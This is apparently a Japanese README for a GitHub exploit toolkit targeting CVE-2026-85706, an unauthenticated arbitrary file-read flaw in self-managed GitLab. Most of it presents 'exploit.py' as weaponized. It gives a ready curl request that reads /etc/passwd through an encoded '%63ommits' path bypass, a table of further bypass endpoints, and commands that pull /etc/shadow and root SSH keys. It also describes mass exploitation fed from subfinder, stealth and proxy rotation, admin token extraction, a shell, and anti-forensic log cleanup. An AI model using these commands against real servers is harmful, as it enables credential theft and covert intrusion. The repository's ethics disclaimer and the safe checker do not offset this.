
CVE-2026-85706 GitLab 未認証ファイル読み取り用の Python ツールキット: loot、shell、mass scan を備えた weaponized exploit に加え、非侵襲的な SafeChecker 監査とレポート機能。

⚠️ 倫理的な使用のみ – 許可されたセキュリティテスト
このリポジトリは、許可されたセキュリティ専門家、ブルーチーム、ペネトレーションテスターのみにツールを提供します。
コンピュータシステムへの不正アクセスは、CFAA(米国)、Computer Misuse Act(英国)、TCK 243/244(トルコ)、および世界中の同様の法律の下で違法です。
CVE‑2026‑85706 は、セルフマネージド GitLab CE/EE(バージョン 18.7 から 19.3.1)における重大な未認証の任意ローカルファイル読み取り脆弱性であり、未認証の攻撃者が commits API への単一の HTTP リクエストを介してサーバー上の任意のファイルを読み取ることができます。
%63ommits のようなエンコードされた文字を使用して Workhorse のセキュリティチェックをバイパスできます。/api/v4/projects/{id}/repository/commits エンドポイントは、認証が適用される前に file.path で指定されたファイルを開きます。%-sequence が含まれている場合、Rack は 400 Bad Request ボディにコンテンツをエコーし、完全なコンテンツが漏洩します。| ツール | 目的 | 対象ユーザー |
|---|---|---|
exploit.py | 未認証ファイル読み取り、ルート列挙、管理者トークン抽出、大量スキャン、インタラクティブシェル、プロキシローテーション、ステルスモード、マルチフォーマットレポートを備えた完全な武器化ツールキット。 | レッドチーム / 許可されたペンテスター |
safechecker.py | GitLab バージョンを検出し、露出を検証し、セキュリティヘッダーを監査し、ファイルを一切読み取らずにリスクを評価する非侵入型の脆弱性チェッカー。JSON/CSV/HTML レポートを生成します。 |
git clone https://github.com/tc4dy/CVE-2026-85706-PoC-Toolkit
cd CVE-2026-85706-PoC-Toolkit
pip install -r requirements.txt
requests
urllib3
curl_cffi
rich
pyyaml
exploit.py のパラメータsafechecker.py のパラメータエクスプロイトは以下の GitLab エンドポイントとバイパス技術を使用します:
file=&file.path=/etc/passwd&file.size=1
curl -sk -X POST "https://gitlab.example.com/api/v4/projects/1/repository/%63ommits?file=&file.path=/etc/passwd&file.size=1&Content-Type=application/x-www-form-urlencoded"
このソフトウェアは、教育目的および許可されたセキュリティテストのみに提供されています。
| ブルーチーム / セキュリティ監査人 |
| 機能 | exploit.py | safechecker.py |
|---|
| 脆弱性検出 | ✅ | ✅ |
| バージョン検出 | ✅ | ✅ |
| 未認証ファイル読み取り | ✅ | ❌ |
| ルート列挙 | ✅ | ❌ |
| 管理者トークン抽出 | ✅ | ❌ |
| インタラクティブシェル | ✅ | ❌ |
| 大量スキャン(マルチスレッド) | ✅ | ✅ |
| セキュリティヘッダー監査 | ❌ | ✅ |
| TLS/証明書チェック | ❌ | ✅ |
| MITRE ATT&CK マッピング | ✅ | ✅ |
| プロキシサポート | ✅ | ✅ |
| プロキシローテーション | ✅ | ❌ |
| User‑Agent ローテーション(OPSEC) | ✅ | ❌ |
| ジッター / 遅延(OPSEC) | ✅ | ❌ |
| 適応型レートリミッター | ✅ | ✅ |
| ステルスモード | ✅ | ❌ |
| curl_cffi TLS 偽装 | ✅ | ❌ |
| 非侵入型(安全)モード | ❌ | ✅ |
| JSON / JSONL / CSV / HTML 出力 | ✅ | ✅ |
| SQLite DB 出力 | ✅ | ❌ |
| Webhook 通知 | ✅ | ✅ |
| 前回スキャンとの差分 | ✅ | ✅ |
| ログクリーンアップ(アンチフォレンジック) | ✅ | ❌ |
| カスタム User‑Agent | ✅ | ✅ |
| SSL 検証制御 | ✅ | ✅ |
| シナリオ | 推奨ツール |
|---|
| ブルーチーム – GitLab が脆弱かどうかの確認 | safechecker.py |
| セキュリティ監査 – 非侵入型の脆弱性評価 | safechecker.py |
| レッドチーム – 完全な悪用を伴う許可されたペネトレーションテスト | exploit.py |
| バグバウンティ – 責任ある開示テスト | safechecker.py |
| 大量スキャン – 複数のターゲットの脆弱性チェック | exploit.py(検出のみ) |
| インシデントレスポンス – システムが侵害されているかどうかの確認 | safechecker.py |
| パラメータ | 説明 |
|---|
-u, --url | 単一ターゲット URL(例: https://gitlab.example.com) |
-f, --file | ターゲットのリストを含むファイル(1 行に 1 つ) |
--pipe | stdin からターゲットを読み取る(subfinder/httpx パイプライン) |
--read | 読み取る絶対パス(カンマ区切り) |
--wordlist | 読み取るパスを含むファイル(1 行に 1 つ) |
--project-id | 特定のプロジェクト ID を強制する |
--max-projects | 試行するプロジェクト ID の最大数(デフォルト: 8) |
--auto | 高価値の GitLab ファイルを自動的にルートする |
--loot | --auto と同じ |
--shell | 悪用後のインタラクティブシェル |
--force | GitLab フィンガープリントが弱い場合でもスキャンする |
-t, --threads | マルチターゲット用のスレッド数(デフォルト: 8) |
--timeout | HTTP タイムアウト(デフォルト: 15 秒) |
--retry | 再試行回数(デフォルト: 3) |
--retry-on | 再試行する HTTP コード(デフォルト: 429,500,502,503,504) |
--proxy | HTTP/HTTPS プロキシ |
--proxy-list | ローテーション用のプロキシを含むファイル |
--proxy-rotate | ローテーション戦略: round-robin、random、sticky |
--jitter | リクエスト間にランダムなジッターを追加する |
--jitter-range | ジッターの最小、最大秒(デフォルト: 0.1,2.0) |
--delay | リクエスト間の固定遅延 |
--stealth | ステルスモードを有効にする(UA ローテーション + X-Forwarded-For) |
--curl-cffi | TLS フィンガープリント偽装に curl_cffi を使用する |
--user-agent-file | User-Agent 文字列を含むファイル |
--max-body | 最大レスポンスボディサイズ(0 = 無制限) |
--concurrent-per-host | ホストごとの最大同時リクエスト数 |
--rate-limit | 1 秒あたりの最大リクエスト数(0 = 無制限) |
--exclude | 除外するホスト(カンマ区切り、glob パターン) |
--grep | 正規表現に一致するリークのみを表示する |
--resume | 状態ファイルから再開する |
--notify | 通知 URL(slack:、discord:、telegram:) |
--db | 結果を SQLite データベースに保存する |
--output-format | 出力形式: json、jsonl、csv、html |
-o, --output | 出力ファイルパス |
-v, --verbose | 詳細出力 |
-q, --quiet | 静音モード |
--no-color | 色を無効にする |
--no-banner | バナーなし |
--config | YAML/JSON 設定ファイル |
--dry-run | リクエストを行わずに計画を表示する |
--safe-mode | 検証のために /etc/hostname のみを読み取る |
--timeout-profile | aggressive、normal、stealth |
--mitre | MITRE ATT&CK マッピングを含める |
--fingerprint | 詳細な GitLab フィンガープリント |
--cve-check | 関連する CVE をチェックする |
--json-schema | SIEM 用の JSON スキーマで出力する |
--progress | プログレスバーを表示する(rich が必要) |
| パラメータ | 説明 |
|---|
-u, --url | 単一ターゲット URL(例: https://gitlab.example.com) |
-f, --file | ターゲットを含むファイル(1 行に 1 つ) |
-t, --threads | マルチターゲット用のスレッド数(デフォルト: 5) |
--timeout | HTTP タイムアウト(デフォルト: 10 秒) |
--rate-limit | 1 秒あたりの最大リクエスト数(0 = 無制限) |
--user-agent | カスタム User-Agent 文字列 |
--insecure | TLS 検証を無効にする(MITM リスク) |
--webhook | Webhook URL(slack:、discord:、telegram:) |
--diff | 前回のスキャン JSON と比較する |
-v, --verbose | 詳細出力 |
-o, --output | JSON 出力ファイル |
--csv | CSV 出力ファイル |
--report | HTML レポートファイル |
--mitre | MITRE ATT&CK マッピングを含める(デフォルト: オン) |
| # | シナリオ | コマンド |
|---|
| 1 | クイック脆弱性チェック | python safechecker.py -u https://gitlab.example.com |
| 2 | レポート付きの詳細監査 | python safechecker.py -u https://gitlab.example.com -o report.json --csv report.csv --report report.html -v |
| 3 | ファイルからの大量監査 | python safechecker.py -f targets.txt -t 10 --rate-limit 5 |
| 4 | 検出のみのエクスプロイト | python exploit.py -u https://gitlab.example.com --safe-mode |
| 5 | 単一ファイルの読み取り | python exploit.py -u https://gitlab.example.com --read /etc/passwd |
| 6 | 複数ファイルの読み取り | python exploit.py -u https://gitlab.example.com --read /etc/passwd,/etc/shadow,/root/.ssh/id_rsa |
| 7 | 高価値ファイルの自動ルート | python exploit.py -u https://gitlab.example.com --auto |
| 8 | インタラクティブシェル | python exploit.py -u https://gitlab.example.com --shell |
| 9 | ステルス付き大量エクスプロイト | python exploit.py -f targets.txt -t 20 --stealth --jitter --auto -o hits.jsonl --output-format jsonl |
| 10 | subfinder からのパイプライン | subfinder -d example.com -silent | httpx -silent -sc | python exploit.py --pipe --auto -o hits.jsonl |
| 11 | SIEM 出力付きの完全攻撃 | python exploit.py -u https://gitlab.example.com --auto --grep "password|secret|token" --mitre --json-schema -o siem.json |
| 12 | 中断されたスキャンの再開 | python exploit.py -f targets.txt --auto --resume state.json |
| 13 | 2 つのスキャンの比較 | python safechecker.py -f targets.txt -o new.json --diff previous.json |
| ステップ | メソッド | エンドポイント | 説明 |
|---|
| 1. バイパス | POST | /api/v4/projects/{id}/repository/%63ommits | エンコードされた c が Workhorse をバイパスする |
| 2. バイパス | POST | /api/v4/projects/{id}/%72epository/commits | repository 内のエンコードされた r |
| 3. バイパス | POST | /api/v4/projects/{id}/repository/commits/ | 末尾スラッシュバイパス |
| 4. バイパス | POST | /api/v4/projects/{id}/repository/commits.json | Grape フォーマットサフィックスバイパス |
| 5. Files API | POST | /api/v4/projects/{id}/repository/files/x | 代替ルート |